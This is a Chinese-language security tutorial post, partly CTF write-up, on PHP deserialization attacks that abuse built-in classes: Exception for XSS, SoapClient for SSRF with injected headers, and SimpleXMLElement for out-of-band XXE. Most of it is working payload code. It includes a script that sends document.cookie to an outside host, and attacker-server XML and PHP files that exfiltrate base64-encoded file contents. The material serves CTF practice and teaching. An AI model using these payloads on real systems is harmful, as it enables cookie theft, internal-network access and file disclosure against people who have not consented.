Web攻防-PHP反序列化&原生内置类&Exception类&SoapClient类&SimpleXMLElement

发布于:2025-07-14 ⋅ 阅读:(12) ⋅ 点赞:(0)

知识点:
1、WEB攻防-PHP反序列化-原生类&生成及利用条件
2、WEB攻防-PHP反序列化-Exception触发XSS
3、WEB攻防-PHP反序列化-SoapClient触发SSRF
4、WEB攻防-PHP反序列化-SimpleXMLElement触发XXE

在这里插入图片描述
原生类的出现就是为了解决这个问题,当遇到无类可用或者有类无危险方法的时候就可以尝试使用原生类来进行反序列化攻击。

原生自带类参考
https://xz.aliyun.com/news/8792
https://www.anquanke.com/post/id/264823
https://blog.csdn.net/cjdgg/article/details/115314651

利用条件:
1、有触发魔术方法
2、魔术方法有利用类
3、部分自带类配置拓展开启(例如SoapClient类要在php.ini里开启soap)

获取php自带原生类:
<?php
$classes = get_declared_classes();
foreach ($classes as $class) {
    $methods = get_class_methods($class);
    foreach ($methods as $method) {
        if (in_array($method, array(
'__construct',
            '__destruct',
            '__toString',
            '__wakeup',
            '__call',
            '__callStatic',
            '__get',
            '__set',
            '__isset',
            '__unset',
            '__invoke',
            '__set_state'
        ))) {
            print $class . '::' . $method . "\n";
        }
    }
}

在这里插入图片描述

一、演示案例-WEB攻防-PHP反序列化-原生类&Exception&XSS

使用原生Error/Exception类(处理异常错误信息并输出)进行XSS

DEMO

<?php
$a = unserialize($_GET['code']);
echo $a;
?>

在这里插入图片描述

POC链:
<?php
$a=new Exception("<script>alert('xiaodi')</script>");
echo urlencode(serialize($a));
?>

在这里插入图片描述
在这里插入图片描述

输出对象可调用__toString
无代码通过原生类Exception
Exception使用查询编写利用
通过访问触发输出产生XSS漏洞

在这里插入图片描述

[BJDCTF 2nd]xss之光

在这里插入图片描述

poc链:
<?php
$poc = new Exception("<script>window.open('http://462795d3-ea59-4f00-9657-d50f15178248.node5.buuoj.cn:81/?'+document.cookie);</script>");
echo urlencode(serialize($poc));
?>

在这里插入图片描述
在这里插入图片描述

二、演示案例-WEB攻防-PHP反序列化-原生类&SoapClient&SSRF

使用SoapClient类进行SSRF

DEMO

ssrf.php
<?php
$s = unserialize($_GET['ssrf']);
$s->a(); //调用a方法,a不存在触发__call方法
?>
-输出对象可调用__call方法
-无代码通过原生类SoapClient
-SoapClient使用查询编写利用
-通过访问触发服务器SSRF漏洞

POP链:
<?php
$a = new SoapClient(null,array('location'=>'http://192.168.1.4:2222/aaa', 'uri'=>'http://192.168.1.4:2222'));
$b = serialize($a);
echo $b;
?>

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

CTFSHOW-259

在这里插入图片描述
在这里插入图片描述

-不存在的方法触发__call
-无代码通过原生类SoapClient
-SoapClient使用查询编写利用
-通过访问本地Flag.php获取Flag

pop链:
<?php
$ua="aaa\r\nX-Forwarded-For:127.0.0.1,127.0.0.1\r\nContent-Type:application/x-www-form-urlencoded\r\nContent-Length:13\r\n\r\ntoken=ctfshow";
$client=new SoapClient(null,array('uri'=>'http://127.0.0.1/','location'=>'http://127.0.0.1/flag.php','user_agent'=>$ua));
echo urlencode(serialize($client));
?>

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

三、演示案例-WEB攻防-PHP反序列化-原生类&SimpleXMLElement&XXE

使用SimpleXMLElement类进行xxe

DEMO

攻击者服务器上放3个文件
1、oob.xml
在这里插入图片描述
2、send.xml
在这里插入图片描述
3、send.php
在这里插入图片描述

pop链:
<?php
$sxe=new SimpleXMLElement('http://外网IP地址/oob.xml',2,true); 
$a = serialize($sxe);
echo $a;
?>

在这里插入图片描述

-new触发__construct
-无代码通过原生类SimpleXMLElement
-SimpleXMLElement使用查询编写利用

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

[SUCTF 2018]Homework

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

利用点:SimpleXMLElement(url,2,true)
Poc:
/show.php?module=SimpleXMLElement&args[]=http://120.27.152.29/oob.xml&args[]=2&args[]=true

在这里插入图片描述

外网服务器:
oob.xml:
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % remote SYSTEM "http://ip/send.xml">
%remote;
%all;
%send;
]>

send.xml:
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=x.php">
<!ENTITY % all "<!ENTITY &#x25; send SYSTEM 'http://ip/send.php?file=%file;'>">

send.php:
<?php
file_put_contents("result.txt", $_GET['file']) ;
?>


网站公告

今日签到

点亮在社区的每一天
去签到